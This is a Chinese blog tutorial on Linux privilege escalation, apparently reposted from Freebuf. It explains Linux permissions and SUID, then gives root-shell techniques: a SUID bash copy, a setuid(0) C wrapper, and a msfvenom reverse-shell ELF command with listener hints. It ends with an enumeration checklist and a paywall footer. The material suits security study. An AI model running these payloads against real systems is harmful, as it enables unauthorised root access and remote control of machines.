Linux提权

0x01 一般概念#

我们在 Linux 中特权升级的最终目标是获得root用户

用户、组、文件、目录#

四者之间的关系#

用户可以属于多个组。组可以具有多个用户。

每个文件和目录都根据用户、组和”其他用户”(所有其他用户)来定义其权限。

用户#

用户帐户配置在/etc/passwd文件。

用户密码哈希存储在/etc/shadow文件中。

用户由整数用户 ID (UID)识别。

root用户帐户是 Linux 中的一种特殊类型的帐户。它的 UID 为 0,系统允许此用户访问每个文件。

#

组配置在/etc/group文件中。

用户有一个主要组,并且可以有multiple二级(或补充)组。

默认情况下,用户的主要组与用户帐户的名称相同。

文件和目录#

所有文件和目录都有一个所有者和一个组。

权限以读取、编写和执行操作的方式定义。

有三组权限,一组为所有者,一组为组,一组为所有”其他”用户

只有所有者才能更改权限

权限#

文件权限#

• Read -设置后,可以读取文件内容。

• Write -设置后,文件 内容可以修改。

• Execute -设置后,文件可以执行 (即作为某种过程运行 )。

目录权限#

• Execute 设置时,目录可以输入。未经此许可,读取或写入权限均不起作用。

• Read -设置时,目录内容可以列出。

• Write -设置时,文件和子目录可以在目录中创建。

特殊权限#

• setuid (SUID) bit

设置后,文件将使用文件所有者的权限执行。

• setgid (SGID) bit

设置在文件上时,文件将使用文件组的权限执行。

设置在目录上时,该目录内创建的文件将继承目录本身的组。

查看权限#

ls命令可以查看权限

ls -l /bin/date

 

image-20210701131222816

简单阐述一下: 前10个字符表示对文件设置的权限或目录。

第一个字符只是表示类型,例如,文件d-用于目录

剩下的9个字符代表3组权限(所有者、组、其他)

每组包含3个字符,表示读(r)、写(w),可执行(x)

SUID/SGID权限由中的s表示执行位置

真实、有效和保存的UID/GID#

前言#

用户是由用户ID标识的。

实际上,在Linux中,每个用户有3个用户id(real,effective,and saved)

用户的真实ID是他们的真实身份/etc/passwd中定义的ID

继续深入#

用户的有效ID通常等于其真实ID,但是作为另一个用户执行一个进程时,有效ID被设置为该用户的真实身份。

在大多数访问控制决策中,有效ID用于验证用户,

whoami等命令使用有效ID。

最后,保存的ID用于确保SUID进程

临时将用户的有效ID切换回其真实ID并返回,在不丢失原始有效ID的情况下

实操#

真实有效的用户/组ID:#

image-20210701132736765

当前进程(即我们的shell)#

真实、有效、已保存和文件系统用户/组ID

cat /proc/$$/status | grep "[UG]id"

 

image-20210701132748704

0x02 生成外壳#

前言#

目标:生成root外壳执行/bin/sh 或/bin/bash

rootbash SUID#

创建一个副本

在/bin/bash可执行文件中创建一个副本 ,通常将其重命名为rootbash,确保它归根用户所有

并且设置了SUID位,只需执行rootbash文件就可以生成root的shell

使用-p命令行选项,可以持久,方便我们多次利用rootbash

自定义可执行文件#

可能存在某些根进程执行另一个root进程,你可以控制的过程。

这时候

int main() {
setuid(0);
system("/bin/bash -p");
}

 

上一串神秘的.c代码

gcc -o <name> <filename.c

 

编译后,将生成一个以root身份运行的Bash shell:

msfvenom#

反向外壳 首先msfvenom,又叫毒液

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > a001.elf

 

接收shell的话 可以使用:nc或者msf中的监听(multi/handler)

本地反向外壳#

image-20210701184121840

6.在目标机器上,执行文件以获取root:#

/tmp/shell.elf bash-4.1

 

image-20210701184058216

权限提升总结#

1.信息收集(id, whoami)2.运行Linux Smart Enumeration,并增加级别。3.运行LinEnum和其他脚本

 

快速查找home中的文件 目录和其他公共位置(例如/var,/backup,/var/logs)

注意:如果用户有一个历史文件,它可能有 重要的信息,比如命令或者 密码

Sudo,Cron jobs,SUID文件

好好看看root进程,列举它们的版本,检查可以转发到的内部端口

最后考虑内核漏洞,进行提权

希望此文可以帮到大家,加油!!

注:文章首发在Freebuf,混一下活跃,大佬轻锤!

付费阅读
您当前未登录!建议登陆后购买,可保存购买订单
请联系站长获取会员账号即可下载,QQ:2322789180
© 版权声明
THE END
喜欢就支持一下吧
点赞5.2W+
分享
评论 抢沙发